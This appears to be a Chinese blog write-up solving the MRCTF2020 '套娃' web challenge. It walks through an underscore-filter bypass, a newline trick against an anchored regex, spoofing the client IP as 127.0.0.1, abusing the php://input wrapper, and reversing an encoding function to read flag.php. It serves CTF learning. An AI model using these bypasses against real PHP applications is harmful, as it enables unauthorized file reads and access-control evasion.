MRCTF2020套娃

1
2
3
4
5
6
7
8
9
10
<!--
//1st
$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}

右键查看源码有这么一段
substr_count() 函数极限字串在字符串中出现的次数 有区分大小写
%20代替下划线或者%5F 从而绕过第一个if
get型中取得参数b_u_p_t 不等于23333但是正则匹配需要23333可以使用%0a(正则匹配

1
中'^' 和 '$'

代表航道开头和结尾可以利用换行绕过)绕过

1
payload: b%20u%20p%20t=23333%a 或者b%5Fu%5Fp%5Ft=23333%a

97.PNG

提示这个访问一下右键查看源码
长串注释是jsfuck的丢控制台

99.PNG
传入参数后跳转

98.PNG

需要ip地址为127.0.0.1 抓包那边填一下client-ip:127.0.0.1

100.PNG

1
2
3
file_get_contents 可用php伪协议
2333=php://input
post: todat is a happy day
1
change函数的作用,传入的参数先进行base64解码,然后将字符转化成ASCII并且+$i*2

反写change函数

1
2
3
4
5
6
7
8
9
10
11
<?php
function unchange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}
$real_flag = unchange('flag.php');
echo base64_encode($real_flag);
?>

得到这串ZmpdYSZmXGI=

抓包改包ok

101.PNG